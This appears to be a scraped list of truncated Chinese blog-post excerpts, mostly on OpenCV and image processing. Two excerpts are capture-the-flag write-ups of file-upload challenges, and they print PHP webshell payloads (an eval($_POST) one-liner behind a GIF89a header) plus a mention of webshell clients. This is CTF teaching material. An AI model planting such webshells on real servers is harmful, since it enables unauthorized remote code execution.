# -*- coding: utf-8 -*- # 将PDF文档（文字版本）转换为WWord文档频率较高 利用pdf2docx 某块很好的实现这个需求 # 首先安装 pip install pdf2docx import os from pdf2docx import Converter old_file_path = r'file/文字文稿.pdf' new_file_path = r'file/new_file/将PDF文档转
一、读取视频流 在使用OpenCV读取摄像头，或者处理一些磁盘中保存的视频文件时，通常使用VideoCapture进行读取。 std::string video_path("/path/to/the/video"); cv::VideoCapture VCap( video_path ); if( !VCap.isOpened() ) { CV_Error_(cv::Error::StsBadArg, ("Error openi
1. 导读 本报告的主要内容是阅读《Poisson Image Editing》论文之后对原理进行理解并利用python复现论文中的每个功能。 2. 引言 图像融合是图像处理的一个基本问题，目的是将源图像中一个物体或者一个区域嵌入到目标图像生成一个新的图像。在对图像进行合成的过程中，为了使合成后的
一、auto的推导规则：1）当声明不是指针或引用时，auto的推导结果和初始化表达式抛弃引用和cv'限定符后类型一致。2）当声明为指针或引用时，auto推导结果将保持初始化表达式的cv属性。 二、auto的限制：1）auto不能用于函数参数。2）auto不能非静态成员变量。3）auto无法定义数组。4）auto无法推导出
初学者数据科学家的课程提示 了解课程过滤的工作原理，以及如何为受众量身定制 Photo by 马库斯·温克勒 on 不飞溅. 如果您刚开始从事数据科学，您的简历对于帮助您找到第一份工作至关重要。许多潜在的优秀数据科学家在“简历筛选”步骤中被筛选后无法获得工作面试。 有几个指南充
第一个参数：image，单通道图像矩阵，可以是灰度图，但更常用的是二值图像，一般是经过Canny、拉普拉斯等边缘检测算子处理过的二值图像 第二个参数：contours，定义为“vector<vector<Point>> contours”，是一个向量，并且是一个双重向量，向量内每个元素保存了一组由连续的Point点构成的点的
记录cv2包相关方法的调用： 图像： img = cv2.imread(imgPath) # 读取图像，输出为3维的numpy img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) # cv2.cvtColor()方法用于将图像从一种颜色空间转换为另一种颜色空间 image_resized = cv2.resize(image, target_shape) #调整形状 image_np
1 图像二维熵 图像二维熵作为一种特征评价尺度能够反映出整个图像所含平均信息量的高低，熵值(H)越大则代表图像所包含的信息越多，反之熵值(H)越小，则图像包含的信息越少。对于图像信息量，可以简单地认为图像的边缘信息越多则图像的信息量越大。二维熵公式如下所示： 2 信号丢失检测 2
1、打开之后未发现有用信息，各按钮无法点击，只有注册和登录可以，那就注册一个账户并进行登录，结果如下： 登陆后界面： 2、界面里就更换头像功能可以使用，那就考的是文件上传了，先随便上传一个脚本文件（右键复制文件地址）并使用菜刀或蚁剑进行连接，结果如下： 上传的php脚本信息： GIF89 <?php ev
整理下用RabbitMQ在client和Server之间用RPC调用传输图片的笔记 RPC：是远程过程调用。百度写了一大堆。此刻，我们简单点说：比如，我们在本地的代码中调用一个函数，那么这个函数不一定有返回值,但一定有返回。若是在分布式环境中，香我们前几章的例子，发送消息出去后，发送端是
引用网址：https://www.it610.com/article/1546269872961425408.htm 文章目录 一、概述 二、相关概念 三、实际操作 1.图片检测 2.打开摄像头进行人脸检测 一、概述 `本文为我学习python环境下用opencv检测人脸的内容总结。 二、相关概念 ##opencv中提供了三种训练好的
QImage 转 Mat //Qt读入彩色图后一般为Format_RGB32格式（4通道），而OpenCV一般用3通道的，因此进行了转换。 cv::Mat QImage2Mat(QImage image) { cv::Mat mat; switch (image.format()) { case QImage::Format_RGB32: //一般Qt读入彩色图后为此格式 mat = cv
参考了《Opencv中Mat矩阵相乘——点乘、dot、mul运算详解 》“http://blog.csdn.net/dcrmg/article/details/52404580”的相关内容。 乘法是线性代数的基本操作，在OpenCV中有三种方法实现了乘法。 一、向量乘法 这两幅图像说明的就是向量乘法。在OpenCV中采用" *"来实现，要求是第
视频链接： // Luogu P1399 [NOI2013] 快餐店 #include<iostream> #include<algorithm> #include<cstring> using namespace std; const int N=100000+10; int n; struct edge{int v,w,ne;}e[N<<1]; int h[N],idx; int vis[N],fa[N],w[N]; int inc[N],cv[N],
大家好，我是对白。 今天给大家分享一位浙大学妹参加2022算法岗实习的面经总结，最终拿到了字节、商汤和海康威视的CV算法岗实习offer，虽然她只有研一，但技术以及表达能力还是很不错的，以下为原文。 作者：zerone | 编辑：对白的算法屋 https://zhuanlan.zhihu.com/p/538109130 先说下本人
前言 参考 1. YOLOv6_github； 2. YOLOv6_paper; 3. YOLOv6：又快又准的目标检测框架开源啦； 完
[WUSTCTF2020]CV Maker 1.进去后看到有注册页面，先注册一个账号 2.登入后，直接放了一个明显的上传头像，怀疑是uploadloud 3.先看看有没有过滤，直接就传了个带后门的php文件 GIF89a <script language='php'>@eval($_POST['hhz']);</script> 4.然后就上传成功了（没有过滤，大大滴好评）没
矩阵生成灰度图遇到的若干问题 #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2022/5/13 22:23 # @Author : Linkdom import numpy as np import cv2.cv2 as cv import matplotlib.pyplot as plt a=np.random.randint(0,255,(300,300)) img=cv.imread('gary_array.jpg
图像的翻转、旋转、仿射变换、透视变换 flip 翻转操作，flipCode=0上下翻转，>0左右翻转，<0上下+左右翻转 rotate 旋转操作，只能三种旋转方式，以cv2.ROTATE_开头 warpAffine 仿射变换是图像旋转，缩放，平移的总称，具体的做法是通过一个矩阵和原图片坐标进行计算，得到新的坐标，完成变换，关键在于
OpenCV 可自动调整参数的透视变换: 在shiter大牛的基础之上，对于他的程序做了一定的修改。 首先，通过两个循环使得霍夫变换两个参数：角度的分辨率和点个数的阈值可以变换，这样就不必对于每一张图像都手动的设置阈值。 其次，过滤掉了两个距离很近的直线，使得能够正确找到物体的四个
长安忆：长安下了一夜的雨，秋似乎落了一地千里的路途，北风呼啸，吹皱了旅客的衣服江船上听着夜雨听着笛声萧萧 等到傍晚才云散雨霁愁好像沙漠一般无边无际长安堤下 ，折一支垂杨送予别离的人千山隐月 一片伤心的碧色长门赋的故事，又是一个被误了青春的女人，声声清寒凄楚美貌也染了风霜，梦中痴
opencv打开摄像头 #include <opencv2/opencv.hpp> #include <iostream> using namespace cv; using namespace std; int main() { cv::namedWindow("win1", cv::WINDOW_AUTOSIZE); VideoCapture capture1(1); //capture1.get(cv::CAP_PROP
前言 本文对计算机视觉论文中常出现的单词进行了汇总，对于不具备直接阅读英文文献的读者，可以考虑把这些单词给背了。 之前的文章《计算机视觉中的高效阅读论文的方法总结》中提到了如何掌握阅读英文文献的能力，我就是按照这个方法来做的，下面是我在执行过程中记录的单词。
本文根据一篇机器模型融合案例，对每类方法进行了尝试运用。一、集成学习介绍集成学习结合多个不同的模型，然后结合单个模型完成预测。通常情况下，集成学习能比单个模型找到更好的性能。 常见的集成学习技术有三类： Bagging, 如. Bagged Decision Trees and Random Forest.Boosting, 如
原创：扣钉日记（微信公众号ID：codelogs），欢迎分享，转载请保留出处。 简介 有时，我们需要查看某个文件的增长速度，如日志文件，以此来感受系统的负载情况，因为一般情况下，日志写入越快，说明系统负载越重。 本文就来介绍下Linux中查看日志增长速度的几种方法，如下： 使用dd 首先要介绍的是dd，因为dd
